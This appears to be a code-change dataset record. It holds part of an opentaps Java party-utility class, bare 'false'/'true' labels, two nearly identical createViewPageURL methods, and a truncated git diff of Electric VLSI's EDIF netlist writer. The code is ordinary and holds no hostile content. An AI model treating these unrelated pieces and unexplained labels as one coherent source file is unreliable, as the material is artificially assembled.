* @param delegator a <code>GenericDelegator</code> value * @return <code>true</code> if the party can send or receive internal messages */ public static boolean isInternalMessage(String partyId, String property, GenericDelegator delegator) { String role = UtilConfig.getPropertyValue("opentaps", "messaging.roles." + property); if (UtilValidate.isEmpty(role)) { Debug.logError("There are no messaging roles in opentaps.properties. Please correct this error.", MODULE); return false; } List<String> roleList = FastList.newInstance(); StringTokenizer st = new StringTokenizer(role, ", "); while (st.hasMoreTokens()) { roleList.add(st.nextToken()); } if (UtilValidate.isEmpty(roleList)) { return false; } String result = null; try { result = getFirstValidRoleTypeId(partyId, roleList, delegator); } catch (GenericEntityException ex) { result = null; Debug.logError("Problem getting getFirstValidRoleTypeId [" + partyId + "]: " + ex.getMessage(), MODULE); } if (result != null) { return true; } return false; } /** * Checks whether the party can send internal messages. * * @param partyId the party id * @param delegator a <code>GenericDelegator</code> value * @return <code>true</code> if the party can send internal messages */ public static boolean isInternalMessageSender(String partyId, GenericDelegator delegator) { return isInternalMessage(partyId, "sender", delegator); } /** * Checks whether the party can receive internal messages. * * @param partyId the party id * @param delegator a <code>GenericDelegator</code> value * @return <code>true</code> if the party can receive internal messages */ public static boolean isInternalMessageRecipient(String partyId, GenericDelegator delegator) { return isInternalMessage(partyId, "recipient", delegator); } /** * Gets the list of party who can send or receive internal messages. * * @param property sender or recipient * @param delegator a <code>GenericDelegator</code> value * @return the <code>List</code> of party id */ public static List<String> getInternalMessage(String property, GenericDelegator delegator) { String role = UtilConfig.getPropertyValue("opentaps", "messaging.roles." + property); if (UtilValidate.isEmpty(role)) { Debug.logError("There are no messaging roles in opentaps.properties. Please correct this error.", MODULE); return null; } List<String> roleList = FastList.newInstance(); StringTokenizer st = new StringTokenizer(role, ", "); while (st.hasMoreTokens()) { roleList.add(st.nextToken()); } if (UtilValidate.isEmpty(roleList)) { return null; } List<String> partyList = null; try { List<GenericValue> partyByRole = delegator.findByCondition("UserLogin", EntityCondition.makeCondition("partyId", EntityOperator.IN, EntityUtil.getFieldListFromEntityList(delegator.findByCondition("PartyRole", EntityCondition.makeCondition("roleTypeId", EntityOperator.IN, roleList), null, null), "partyId", true)), null, null); partyList = EntityUtil.getFieldListFromEntityList(partyByRole, "partyId", true); } catch (GenericEntityException ex) { Debug.logError("Problem getting All UserLogin: " + ex.getMessage(), MODULE); } return partyList; } /** * Gets the list of party who can send internal messages. * @param delegator a <code>GenericDelegator</code> value * @return the <code>List</code> of party id */ public static List<String> getInternalMessageSender(GenericDelegator delegator) { return getInternalMessage("sender", delegator); } /** * Gets the list of party who can receive internal messages. * @param delegator a <code>GenericDelegator</code> value * @return the <code>List</code> of party id */ public static List<String> getInternalMessageRecipient(GenericDelegator delegator) { return getInternalMessage("recipient", delegator); } /** * Finds the active GENERAL_LOCATION, PRIMARY_PHONE, PRIMARY_EMAIL contactMech for a party and update PartySupplementalData. * * @param delegator a <code>GenericDelegator</code> instance * @param partyId a <code>String</code> object that represents the From party ID * @return a boolean <code>true</code>, if PartySupplementalData was updated, in other case <code>false</code> * @throws GenericEntityException if an error occurs */ @SuppressWarnings("unchecked") public static boolean updatePartySupplementalData(final GenericDelegator delegator, final String partyId) throws GenericEntityException { String[] contactMechPurposeTypeIds = {"GENERAL_LOCATION", "PRIMARY_PHONE", "PRIMARY_EMAIL"}; String[] fieldToUpdates = {"primaryPostalAddressId", "primaryTelecomNumberId", "primaryEmailId"}; boolean result = false; Map input = UtilMisc.toMap("partyId", partyId); GenericValue partySupplementalData = delegator.findByPrimaryKey("PartySupplementalData", input); if (partySupplementalData == null) { // create a new partySupplementalData input = UtilMisc.toMap("partyId", partyId); partySupplementalData = delegator.makeValue("PartySupplementalData", input); partySupplementalData.create(); } for (int i = 0; i < contactMechPurposeTypeIds.length; i++) { List whereConditions = UtilMisc.toList(EntityCondition.makeCondition("partyId", partyId)); whereConditions.add(EntityCondition.makeCondition("contactMechPurposeTypeId", contactMechPurposeTypeIds[i])); whereConditions.add(EntityUtil.getFilterByDateExpr("contactFromDate", "contactThruDate")); whereConditions.add(EntityUtil.getFilterByDateExpr("purposeFromDate", "purposeThruDate")); List<GenericValue> partyContactMechPurposes = delegator.findByCondition("PartyContactWithPurpose", EntityCondition.makeCondition(whereConditions, EntityOperator.AND), null, UtilMisc.toList("contactFromDate")); if (UtilValidate.isEmpty(partyContactMechPurposes)) { continue; } GenericValue partyContactMechPurpose = EntityUtil.getFirst(partyContactMechPurposes); // get the associated partySupplementalData Debug.logInfo("Updating partySupplementalData for partyId " + partyId, MODULE); // update the field partySupplementalData.set(fieldToUpdates[i], partyContactMechPurpose.getString("contactMechId")); partySupplementalData.store(); result = true; } return result; } /** * Generates a party name in the standard CRMSFA style. Input is a PartySummaryCRMView or any * view entity with fields partyId, groupName, firstName and lastName. * @param party a <code>GenericValue</code> value * @return the CRMSFA name of the given party */ public static String getCrmsfaPartyName(GenericValue party) { if (party == null) { return null; } StringBuffer name = new StringBuffer(); if (party.get("groupName") != null) { name.append(party.get("groupName")).append(" "); } if (party.get("firstName") != null) { name.append(party.get("firstName")).append(" "); } if (party.get("lastName") != null) { name.append(party.get("lastName")).append(" "); } name.append("(").append(party.get("partyId")).append(")"); return name.toString(); } /** * As above, but does a lookup on PartySummaryCRMView for an input partyId. * @param delegator a <code>GenericDelegator</code> value * @param partyId a <code>String</code> value * @return a <code>String</code> value * @exception GenericEntityException if an error occurs */ public static String getCrmsfaPartyName(String partyId, GenericDelegator delegator) throws GenericEntityException { GenericValue party = delegator.findByPrimaryKey("PartySummaryCRMView", UtilMisc.toMap("partyId", partyId)); return getCrmsfaPartyName(party); } /** * Get party name, if it is a Person, then return person name, else return party group name. * * @param partyObject a <code>Party</code> instance * @return a <code>String</code> party name * @throws RepositoryException if an error occurs */ public static String getPartyName(Party partyObject) throws RepositoryException { return getPartyName(partyObject, false); } /** * Get party name, if it is a Person, then return person name, else return party group name. * * @param partyObject a <code>Party</code> instance * @param lastNameFirst a <code>boolean</code> value * @return a <code>String</code> party name * @throws RepositoryException if an error occurs */ public static String getPartyName(Party partyObject, boolean lastNameFirst) throws RepositoryException { if (partyObject == null) { return ""; } return formatPartyNameObject(partyObject, lastNameFirst); } /** * Get formatted party name, if it is a Person, then return person name, else return party group name. * * @param partyValue a <code>Party</code> instance * @param lastNameFirst a <code>boolean</code> value * @return a <code>String</code> party name * @throws RepositoryException if an error occurs */ public static String formatPartyNameObject(Party partyValue, boolean lastNameFirst) throws RepositoryException { if (partyValue == null) { return ""; } StringBuffer result = new StringBuffer(); if (partyValue.getPerson() != null) { if (lastNameFirst) { if (UtilFormatOut.checkNull(partyValue.getPerson() .getLastName()) != null) { result.append(UtilFormatOut.checkNull(partyValue .getPerson().getLastName())); if (partyValue.getPerson().getFirstName() != null) { result.append(", "); } } result.append(UtilFormatOut.checkNull(partyValue.getPerson() .getFirstName())); } else { result.append(UtilFormatOut.ifNotEmpty(partyValue.getPerson() .getFirstName(), "", " ")); result.append(UtilFormatOut.ifNotEmpty(partyValue.getPerson() .getMiddleName(), "", " ")); result.append(UtilFormatOut.checkNull(partyValue.getPerson() .getLastName())); } } if (partyValue.getPartyGroup() != null) { result.append(partyValue.getPartyGroup().getGroupName()); } return result.toString(); } }
false
true
public static String createViewPageURL(GenericValue party, List<String> roleIds, String externalLoginKey) throws GenericEntityException { GenericDelegator delegator = party.getDelegator(); StringBuffer uri = new StringBuffer(); String roleTypeId = getFirstValidRoleTypeId(party.getString("partyId"), roleIds, delegator); if (roleTypeId != null) { // let's also make sure that a Client PartyRelationship exists, otherwise we shouldn't generate a view link to a CRM account, contact or lead EntityCondition conditions = EntityCondition.makeCondition(EntityOperator.AND, EntityUtil.getFilterByDateExpr(), EntityCondition.makeCondition("partyId", party.getString("partyId")), EntityCondition.makeCondition("roleTypeIdFrom", EntityOperator.IN, roleIds) ); List<GenericValue> crmRelationships = delegator.findByConditionCache("PartyFromSummaryByRelationship", conditions, Arrays.asList("partyId"), null); if (crmRelationships.size() > 0) { uri.append("/crmsfa/control/"); if ("PROSPECT".equals(roleTypeId)) { uri.append("viewLead?"); } else if ("ACCOUNT".equals(roleTypeId)) { uri.append("viewAccount?"); } else if ("CONTACT".equals(roleTypeId)) { uri.append("viewContact?"); } else if ("PARTNER".equals(roleTypeId)) { uri.append("viewPartner?"); } else { roleTypeId = null; // default to partymgr viewprofile } } else { if ("SUPPLIER".equals(roleTypeId)) { // Suppliers have no relationship but should be directed to purchasing uri.append("/purchasing/control/viewSupplier?"); } else { roleTypeId = null; // default to partymgr viewprofile } } } if (roleTypeId == null) { uri.append("/partymgr/control/viewprofile?"); if (UtilValidate.isNotEmpty(externalLoginKey)) { uri.append("externalLoginKey=").append(externalLoginKey).append("&"); } } uri.append("partyId=").append(party.getString("partyId")); return uri.toString(); }
public static String createViewPageURL(GenericValue party, List<String> roleIds, String externalLoginKey) throws GenericEntityException { GenericDelegator delegator = party.getDelegator(); StringBuffer uri = new StringBuffer(); String roleTypeId = getFirstValidRoleTypeId(party.getString("partyId"), roleIds, delegator); if (roleTypeId != null) { // let's also make sure that a Client PartyRelationship exists, otherwise we shouldn't generate a view link to a CRM account, contact or lead EntityCondition conditions = EntityCondition.makeCondition(EntityOperator.AND, EntityUtil.getFilterByDateExpr(), EntityCondition.makeCondition("partyId", party.getString("partyId")), EntityCondition.makeCondition("roleTypeIdFrom", EntityOperator.IN, roleIds) ); List<GenericValue> crmRelationships = delegator.findByConditionCache("PartyFromSummaryByRelationship", conditions, Arrays.asList("partyId"), null); if (crmRelationships.size() > 0) { if ("PROSPECT".equals(roleTypeId)) { uri.append("/crmsfa/control/viewLead?"); } else if ("ACCOUNT".equals(roleTypeId)) { uri.append("/crmsfa/control/viewAccount?"); } else if ("CONTACT".equals(roleTypeId)) { uri.append("/crmsfa/control/viewContact?"); } else if ("PARTNER".equals(roleTypeId)) { uri.append("/crmsfa/control/viewPartner?"); } else { roleTypeId = null; // default to partymgr viewprofile } } else { if ("SUPPLIER".equals(roleTypeId)) { // Suppliers have no relationship but should be directed to purchasing uri.append("/purchasing/control/viewSupplier?"); } else { roleTypeId = null; // default to partymgr viewprofile } } } if (roleTypeId == null) { uri.append("/partymgr/control/viewprofile?"); if (UtilValidate.isNotEmpty(externalLoginKey)) { uri.append("externalLoginKey=").append(externalLoginKey).append("&"); } } uri.append("partyId=").append(party.getString("partyId")); return uri.toString(); }
diff --git a/srcj/com/sun/electric/tool/io/output/EDIF.java b/srcj/com/sun/electric/tool/io/output/EDIF.java index 71b8371d0..26410cd95 100755 --- a/srcj/com/sun/electric/tool/io/output/EDIF.java +++ b/srcj/com/sun/electric/tool/io/output/EDIF.java @@ -1,1835 +1,1836 @@ /* -*- tab-width: 4 -*- * * Electric(tm) VLSI Design System * * File: EDIF.java * Input/output tool: EDIF netlist generator * Original C Code written by Steven M. Rubin, B G West and Glen M. Lawson * Translated to Java by Steven M. Rubin, Sun Microsystems. * * Copyright (c) 2004 Sun Microsystems and Static Free Software * * Electric(tm) is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * Electric(tm) is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Electric(tm); see the file COPYING. If not, write to * the Free Software Foundation, Inc., 59 Temple Place, Suite 330, * Boston, Mass 02111-1307, USA. */ package com.sun.electric.tool.io.output; import com.sun.electric.database.geometry.GenMath; import com.sun.electric.database.geometry.Poly; import com.sun.electric.database.geometry.EPoint; import com.sun.electric.database.geometry.Dimension2D; import com.sun.electric.database.hierarchy.*; import com.sun.electric.database.network.Global; import com.sun.electric.database.network.Network; import com.sun.electric.database.network.Netlist; import com.sun.electric.database.prototype.NodeProto; import com.sun.electric.database.prototype.PortCharacteristic; import com.sun.electric.database.prototype.PortProto; import com.sun.electric.database.text.TextUtils; import com.sun.electric.database.text.Version; import com.sun.electric.database.topology.ArcInst; import com.sun.electric.database.topology.Connection; import com.sun.electric.database.topology.NodeInst; import com.sun.electric.database.topology.PortInst; import com.sun.electric.database.variable.TextDescriptor; import com.sun.electric.database.variable.VarContext; import com.sun.electric.database.variable.Variable; import com.sun.electric.database.variable.MutableTextDescriptor; import com.sun.electric.technology.PrimitiveNode; import com.sun.electric.technology.Technology; import com.sun.electric.technology.EdgeH; import com.sun.electric.technology.PrimitivePort; import com.sun.electric.technology.technologies.Generic; import com.sun.electric.technology.technologies.Schematics; import com.sun.electric.technology.technologies.Artwork; import com.sun.electric.tool.io.IOTool; import com.sun.electric.tool.user.User; import com.sun.electric.tool.user.ui.EditWindow; import com.sun.electric.tool.user.ui.WindowFrame; import java.awt.geom.AffineTransform; import java.awt.geom.Point2D; import java.awt.geom.Rectangle2D; import java.text.DecimalFormat; import java.text.SimpleDateFormat; import java.util.*; import java.util.regex.Pattern; import java.util.regex.Matcher; /** * This is the netlister for EDIF. */ public class EDIF extends Topology { private static class EGraphic { private String text; EGraphic(String text) { this.text = text; } String getText() { return text; } } private static final EGraphic EGUNKNOWN = new EGraphic("UNKNOWN"); private static final EGraphic EGART = new EGraphic("ARTWORK"); // private static final EGraphic EGTEXT = new EGraphic("TEXT"); private static final EGraphic EGWIRE = new EGraphic("WIRE"); private static final EGraphic EGBUS = new EGraphic("BUS"); private EGraphic egraphic = EGUNKNOWN; private EGraphic egraphic_override = EGUNKNOWN; // settings that may later be changed by preferences private static final boolean CadenceProperties = true; private static final String primitivesLibName = "ELECTRIC_PRIMS"; private int scale = 20; private Library scratchLib; EDIFEquiv equivs; private final HashMap libsToWrite; // key is Library, Value is LibToWrite private final List libsToWriteOrder; // list of libraries to write, in order private static class LibToWrite { private final Library lib; private final List cellsToWrite; private LibToWrite(Library l) { lib = l; cellsToWrite = new ArrayList(); } private void add(CellToWrite c) { cellsToWrite.add(c); } private Iterator getCells() { return cellsToWrite.iterator(); } } private static class CellToWrite { private final Cell cell; private final CellNetInfo cni; private final VarContext context; private CellToWrite(Cell cell, CellNetInfo cni, VarContext context) { this.cell = cell; this.cni = cni; this.context = context; } } /** * The main entry point for EDIF deck writing. * @param cellJob contains following information * cell: the top-level cell to write. * context: the hierarchical context to the cell. * filePath: the disk file to create with EDIF. */ public static void writeEDIFFile(OutputCellInfo cellJob) { EDIF out = new EDIF(); if (out.openTextOutputStream(cellJob.filePath)) return; if (out.writeCell(cellJob.cell, cellJob.context)) return; if (out.closeTextOutputStream()) return; System.out.println(cellJob.filePath + " written"); } /** * Creates a new instance of the EDIF netlister. */ EDIF() { libsToWrite = new HashMap(); libsToWriteOrder = new ArrayList(); equivs = new EDIFEquiv("edif.cfg"); } protected void start() { // find the edit window String name = makeToken(topCell.getName()); scratchLib = Library.findLibrary("__edifTemp__"); if (scratchLib != null) scratchLib.kill(""); scratchLib = Library.newInstance("__edifTemp__", null); scratchLib.setHidden(); // If this is a layout representation, then create the footprint if (topCell.getView() == View.LAYOUT) { // default routing grid is 6.6u = 660 centimicrons int rgrid = 660; // calculate the actual routing grid in microns double route = rgrid / 100; // String iname = name + ".foot"; // io_fileout = xcreate(iname, io_filetypeedif, "EDIF File", &truename); // if (io_fileout == NULL) // { // if (truename != 0) ttyputerr(_("Cannot write %s"), iname); // return(TRUE); // } // write the header System.out.println("Writing footprint for cell " + makeToken(topCell.getName())); printWriter.println("(footprint " + TextUtils.formatDouble(route) + "e-06"); printWriter.println(" (unknownLayoutRep"); // get standard cell dimensions Rectangle2D cellBounds = topCell.getBounds(); double width = cellBounds.getWidth() / rgrid; double height = cellBounds.getHeight() / rgrid; printWriter.println(" (" + makeToken(topCell.getName()) + " standard (" + TextUtils.formatDouble(height) + " " + TextUtils.formatDouble(width) + ")"); printWriter.println(")))"); return; } // write the header String header = "Electric VLSI Design System"; if (User.isIncludeDateAndVersionInOutput()) { header += ", version " + Version.getVersion(); } writeHeader(topCell, header, "EDIF Writer", topCell.getLibrary().getName()); // write out all primitives used in the library blockOpen("library"); blockPutIdentifier(primitivesLibName); blockPut("edifLevel", "0"); blockOpen("technology"); blockOpen("numberDefinition"); if (IOTool.isEDIFUseSchematicView()) { writeScale(Technology.getCurrent()); } blockClose("numberDefinition"); if (IOTool.isEDIFUseSchematicView()) { writeFigureGroup(EGART); writeFigureGroup(EGWIRE); writeFigureGroup(EGBUS); } blockClose("technology"); HashMap primsFound = new HashMap(); writeAllPrims(topCell, primsFound); blockClose("library"); // external libs // organize by library List libs = new ArrayList(); for (Iterator it = equivs.getNodeEquivs().iterator(); it.hasNext(); ) { EDIFEquiv.NodeEquivalence e = (EDIFEquiv.NodeEquivalence)it.next(); if (libs.contains(e.externalLib)) continue; libs.add(e.externalLib); } for (Iterator it = libs.iterator(); it.hasNext(); ) { String lib = (String)it.next(); blockOpen("external"); blockPutIdentifier(lib); blockPut("edifLevel", "0"); blockOpen("technology"); blockOpen("numberDefinition"); if (IOTool.isEDIFUseSchematicView()) { writeScale(Technology.getCurrent()); } blockClose("technology"); for (Iterator it2 = equivs.getNodeEquivs().iterator(); it2.hasNext(); ) { EDIFEquiv.NodeEquivalence e = (EDIFEquiv.NodeEquivalence)it2.next(); if (!lib.equals(e.externalLib)) continue; String viewType = null; if (e.exortedType != null) viewType = "GRAPHIC"; // pins must have GRAPHIC view writeExternalDef(e.externalCell, e.externalView, viewType, e.getExtPorts()); } blockClose("external"); } } /** * Build up lists of cells that need to be written, organized by library */ protected void writeCellTopology(Cell cell, CellNetInfo cni, VarContext context) { Library lib = cell.getLibrary(); LibToWrite l = (LibToWrite)libsToWrite.get(lib); if (l == null) { l = new LibToWrite(lib); libsToWrite.put(lib, l); libsToWriteOrder.add(lib); } l.add(new CellToWrite(cell, cni, context)); } protected void done() { // Note: if there are cross dependencies between libraries, there is no // way to write out valid EDIF without changing the cell organization of the libraries for (Iterator it = libsToWriteOrder.iterator(); it.hasNext(); ) { Library lib = (Library)it.next(); LibToWrite l = (LibToWrite)libsToWrite.get(lib); // here is where we write everything out, organized by library // write library header blockOpen("library"); blockPutIdentifier(makeToken(lib.getName())); blockPut("edifLevel", "0"); blockOpen("technology"); blockOpen("numberDefinition", false); if (IOTool.isEDIFUseSchematicView()) { writeScale(Technology.getCurrent()); } blockClose("numberDefinition"); if (IOTool.isEDIFUseSchematicView()) { writeFigureGroup(EGART); writeFigureGroup(EGWIRE); writeFigureGroup(EGBUS); } blockClose("technology"); for (Iterator it2 = l.getCells(); it2.hasNext(); ) { CellToWrite c = (CellToWrite)it2.next(); writeCellEdif(c.cell, c.cni, c.context); } blockClose("library"); } // post-identify the design and library blockOpen("design"); blockPutIdentifier(makeToken(topCell.getName())); blockOpen("cellRef"); blockPutIdentifier(makeToken(topCell.getName())); blockPut("libraryRef", makeToken(topCell.getLibrary().getName())); // clean up blockFinish(); scratchLib.kill(""); } /** * Method to write cellGeom */ private void writeCellEdif(Cell cell, CellNetInfo cni, VarContext context) { // write out the cell header information blockOpen("cell"); blockPutIdentifier(makeToken(cell.getName())); blockPut("cellType", "generic"); blockOpen("view"); blockPutIdentifier("symbol"); blockPut("viewType", IOTool.isEDIFUseSchematicView() ? "SCHEMATIC" : "NETLIST"); // write out the interface description blockOpen("interface"); // write ports and directions for(Iterator it = cni.getCellSignals(); it.hasNext(); ) { CellSignal cs = (CellSignal)it.next(); if (cs.isExported()) { Export e = cs.getExport(); String direction = "INPUT"; if (e.getCharacteristic() == PortCharacteristic.OUT || e.getCharacteristic() == PortCharacteristic.REFOUT) direction = "OUTPUT"; if (e.getCharacteristic() == PortCharacteristic.BIDIR) direction = "INOUT"; blockOpen("port"); blockPutIdentifier(makeToken(cs.getName())); blockPut("direction", direction); blockClose("port"); } } if (IOTool.isEDIFUseSchematicView()) { for (Iterator it = cell.getVariables(); it.hasNext(); ) { Variable var = (Variable)it.next(); if (var.getTrueName().equals("prototype_center")) continue; blockOpen("property"); String name = var.getTrueName(); String name2 = makeValidName(name); if (!name.equals(name2)) { blockOpen("rename", false); blockPutIdentifier(name2); blockPutString(name); blockClose("rename"); } else { blockPutIdentifier(name); } blockOpen("string", false); String value = var.getObject().toString(); value = value.replaceAll("\"", "%34%"); blockPutString(value); blockClose("string"); if (!var.isAttribute()) { blockOpen("owner", false); blockPutString("Electric"); } blockClose("property"); } // output the icon //writeIcon(cell); writeSymbol(cell); } blockClose("interface"); // write cell contents blockOpen("contents"); if (IOTool.isEDIFUseSchematicView()) { blockOpen("page"); blockPutIdentifier("SH1"); } Netlist netList = cni.getNetList(); for(Iterator nIt = cell.getNodes(); nIt.hasNext(); ) { NodeInst no = (NodeInst)nIt.next(); if (no.getProto() instanceof Cell) { Cell c = (Cell)no.getProto(); if (cell.iconView() == c) continue; // can't make instance of icon view } if (no.getProto() instanceof PrimitiveNode) { PrimitiveNode.Function fun = ((NodeInst)no).getFunction(); Variable var = no.getVar("ART_message"); if (var != null) { // this is cell annotation text blockOpen("commentGraphics"); blockOpen("annotate", false); Point2D point = new Point2D.Double(no.getAnchorCenterX(), no.getAnchorCenterY()); Poly p = new Poly(new Point2D [] { point }); String s; if (var.getObject() instanceof String []) { String [] lines = (String [])var.getObject(); StringBuffer sbuf = new StringBuffer(); for (int i=0; i<lines.length; i++) { sbuf.append(lines[i]); if (i != lines.length-1) sbuf.append("%10%"); // newline separator in Cadence } s = sbuf.toString(); } else { s = var.getObject().toString(); } p.setString(s); p.setTextDescriptor(var.getTextDescriptor()); p.setStyle(var.getTextDescriptor().getPos().getPolyType()); writeSymbolPoly(p); blockClose("commentGraphics"); continue; } if (fun == PrimitiveNode.Function.UNKNOWN || fun == PrimitiveNode.Function.PIN || fun == PrimitiveNode.Function.CONTACT || fun == PrimitiveNode.Function.NODE || //fun == PrimitiveNode.Function.CONNECT || fun == PrimitiveNode.Function.ART) continue; } String iname = makeComponentName(no); String oname = no.getName(); // write reference - get lib, cell, view String refLib = "?", refCell="?", refView = "symbol"; int addedRotation = 0; boolean openedPortImplementation = false; EDIFEquiv.NodeEquivalence ne = equivs.getNodeEquivalence(no); if (ne != null) { addedRotation = ne.rotation * 10; refLib = ne.externalLib; refCell = ne.externalCell; if (ne.exortedType != null) { // cadence pin: encapsulate instance inside of a portImplementation Iterator eit = no.getExports(); if (eit.hasNext()) { Export e = (Export)eit.next(); oname = e.getName(); writePortImplementation(e, false); openedPortImplementation = true; } } } else if (no.getProto() instanceof PrimitiveNode) { NodeInst ni = (NodeInst)no; PrimitiveNode.Function fun = ni.getFunction(); // do default action for primitives refLib = primitivesLibName; if (fun == PrimitiveNode.Function.GATEAND || fun == PrimitiveNode.Function.GATEOR || fun == PrimitiveNode.Function.GATEXOR) { // count the number of inputs int i = 0; for(Iterator pIt = ni.getConnections(); pIt.hasNext(); ) { Connection con = (Connection)pIt.next(); if (con.getPortInst().getPortProto().getName().equals("a")) i++; } refCell = makeToken(ni.getProto().getName()) + i; } else { refCell = describePrimitive(ni, fun); } } else { // this is a cell Cell np = (Cell)no.getProto(); refLib = np.getLibrary().getName(); refCell = makeToken(no.getProto().getName()); } // write reference blockOpen("instance"); if (!oname.equalsIgnoreCase(iname)) { blockOpen("rename", false); blockPutIdentifier(iname); blockPutString(oname); blockClose("rename"); } else blockPutIdentifier(iname); blockOpen("viewRef"); blockPutIdentifier(refView); blockOpen("cellRef", false); blockPutIdentifier(refCell); blockPut("libraryRef", refLib); blockClose("viewRef"); // now graphical information if (IOTool.isEDIFUseSchematicView()) { NodeInst ni = (NodeInst)no; blockOpen("transform"); // get the orientation (note only support orthogonal) blockPut("orientation", getOrientation(ni, addedRotation)); // now the origin blockOpen("origin"); double cX = ni.getAnchorCenterX(), cY = ni.getAnchorCenterY(); /* if (no.getProto() instanceof Cell) { Rectangle2D cellBounds = ((Cell)no.getProto()).getBounds(); cX = ni.getTrueCenterX() - cellBounds.getCenterX(); cY = ni.getTrueCenterY() - cellBounds.getCenterY(); } */ Point2D pt = new Point2D.Double(cX, cY); /* AffineTransform trans = ni.rotateOut(); trans.transform(pt, pt); */ writePoint(pt.getX(), pt.getY()); blockClose("transform"); } // check for variables to write as properties if (IOTool.isEDIFUseSchematicView()) { // do all display variables first NodeInst ni = (NodeInst)no; int num = ni.numDisplayableVariables(false); Poly [] varPolys = new Poly[num]; ni.addDisplayableVariables(ni.getBounds(), varPolys, 0, null, false); writeDisplayableVariables(varPolys, "NODE_name", ni.rotateOut()); } blockClose("instance"); if (openedPortImplementation) { blockClose("portImplementation"); } } // if there is anything to connect, write the networks in the cell for(Iterator it = cni.getCellSignals(); it.hasNext(); ) { CellSignal cs = (CellSignal)it.next(); // ignore unconnected (unnamed) nets String netName = cs.getNetwork().describe(false); if (netName.length() == 0) continue; // establish if this is a global net boolean globalport = false; // if ((pp = (PORTPROTO *) net->temp2) != NOPORTPROTO) // globalport = isGlobalExport(pp); blockOpen("net"); netName = cs.getName(); if (globalport) { blockOpen("rename"); blockPutIdentifier(makeToken(netName)); String name = makeToken(netName) + "!"; blockPutIdentifier(name); blockClose("rename"); blockPut("property", "GLOBAL"); } else { String oname = makeToken(netName); if (!oname.equals(netName)) { // different names blockOpen("rename"); blockPutIdentifier(oname); blockPutString(netName); blockClose("rename"); } else blockPutIdentifier(oname); } // write net connections blockOpen("joined"); // include exported ports if (cs.isExported()) { Export e = cs.getExport(); String pt = e.getName(); blockPut("portRef", makeToken(pt)); } Network net = cs.getNetwork(); for(Iterator nIt = netList.getNodables(); nIt.hasNext(); ) { Nodable no = (Nodable)nIt.next(); NodeProto niProto = no.getProto(); EDIFEquiv.NodeEquivalence ne = equivs.getNodeEquivalence(no.getNodeInst()); if (niProto instanceof Cell) { String nodeName = parameterizedName(no, context); CellNetInfo subCni = getCellNetInfo(nodeName); for(Iterator sIt = subCni.getCellSignals(); sIt.hasNext(); ) { CellSignal subCs = (CellSignal)sIt.next(); // ignore networks that aren't exported PortProto subPp = subCs.getExport(); if (subPp == null) continue; // single signal Network subNet = netList.getNetwork(no, subPp, subCs.getExportIndex()); if (cs != cni.getCellSignal(subNet)) continue; String portName = subCs.getName(); if (ne != null) { // get equivalent port name EDIFEquiv.PortEquivalence pe = ne.getPortEquivElec(portName); if (pe == null) { System.out.println("Error: no equivalent port found for '"+portName+"' on node "+niProto.describe(false)); System.out.println(" Equivalence class: "); System.out.println(ne.toString()); } else { if (!pe.getExtPort().ignorePort) { blockOpen("portRef"); portName = pe.getExtPort().name; blockPutIdentifier(makeToken(portName)); blockPut("instanceRef", makeComponentName(no)); blockClose("portRef"); } } } else { blockOpen("portRef"); blockPutIdentifier(makeToken(portName)); blockPut("instanceRef", makeComponentName(no)); blockClose("portRef"); } } } else { NodeInst ni = (NodeInst)no; PrimitiveNode.Function fun = ni.getFunction(); if (fun == PrimitiveNode.Function.UNKNOWN || fun == PrimitiveNode.Function.PIN || fun == PrimitiveNode.Function.CONTACT || fun == PrimitiveNode.Function.NODE || //fun == PrimitiveNode.Function.CONNECT || fun == PrimitiveNode.Function.ART) continue; for(Iterator cIt = ni.getConnections(); cIt.hasNext(); ) { Connection con = (Connection)cIt.next(); ArcInst ai = con.getArc(); Network aNet = netList.getNetwork(ai, 0); if (aNet != net) continue; String portName = con.getPortInst().getPortProto().getName(); if (ne != null) { // get equivalent port name EDIFEquiv.PortEquivalence pe = ne.getPortEquivElec(portName); if (pe == null) { System.out.println("Error: no equivalent port found for '"+portName+"' on node "+niProto.describe(false)); System.out.println(" Equivalence class: "); System.out.println(ne.toString()); } else { if (!pe.getExtPort().ignorePort) { blockOpen("portRef"); portName = pe.getExtPort().name; String safeName = makeValidName(portName); if (!safeName.equals(portName)) { blockPutIdentifier(makeToken(safeName)); } else { blockPutIdentifier(makeToken(portName)); } blockPut("instanceRef", makeComponentName(no)); blockClose("portRef"); } } } else { blockOpen("portRef"); blockPutIdentifier(makeToken(portName)); blockPut("instanceRef", makeComponentName(no)); blockClose("portRef"); } } } } blockClose("joined"); if (IOTool.isEDIFUseSchematicView()) { // output net graphic information for all arc instances connected to this net egraphic = EGUNKNOWN; egraphic_override = EGWIRE; for(Iterator aIt = cell.getArcs(); aIt.hasNext(); ) { ArcInst ai = (ArcInst)aIt.next(); int aWidth = netList.getBusWidth(ai); if (aWidth > 1) continue; Network aNet = netList.getNetwork(ai, 0); if (aNet == net) writeSymbolArcInst(ai, GenMath.MATID); } setGraphic(EGUNKNOWN); egraphic_override = EGUNKNOWN; } if (cs.isExported()) { Export e = cs.getExport(); blockOpen("comment"); blockPutString("exported as "+e.getName()+", type "+e.getCharacteristic().getName()); blockClose("comment"); } if (globalport) blockPut("userData", "global"); blockClose("net"); } // write busses for(Iterator it = cni.getCellAggregateSignals(); it.hasNext(); ) { CellAggregateSignal cas = (CellAggregateSignal)it.next(); // ignore single signals if (cas.getLowIndex() > cas.getHighIndex()) continue; blockOpen("netBundle"); String busName = cas.getNameWithIndices(); String oname = makeToken(busName); if (!oname.equals(busName)) { // different names blockOpen("rename"); blockPutIdentifier(oname); blockPutString(busName); blockClose("rename"); } else blockPutIdentifier(oname); blockOpen("listOfNets"); // now each sub-net name int numSignals = cas.getHighIndex() - cas.getLowIndex() + 1; for (int k=0; k<numSignals; k++) { blockOpen("net"); // now output this name CellSignal cs = cas.getSignal(k); String pt = cs.getName(); oname = makeToken(pt); if (!oname.equals(pt)) { // different names blockOpen("rename"); blockPutIdentifier(oname); blockPutString(pt); blockClose("rename"); } else blockPutIdentifier(oname); blockClose("net"); } // now graphics for the bus if (IOTool.isEDIFUseSchematicView()) { // output net graphic information for all arc instances connected to this net egraphic = EGUNKNOWN; egraphic_override = EGBUS; for(Iterator aIt = cell.getArcs(); aIt.hasNext(); ) { ArcInst ai = (ArcInst)aIt.next(); if 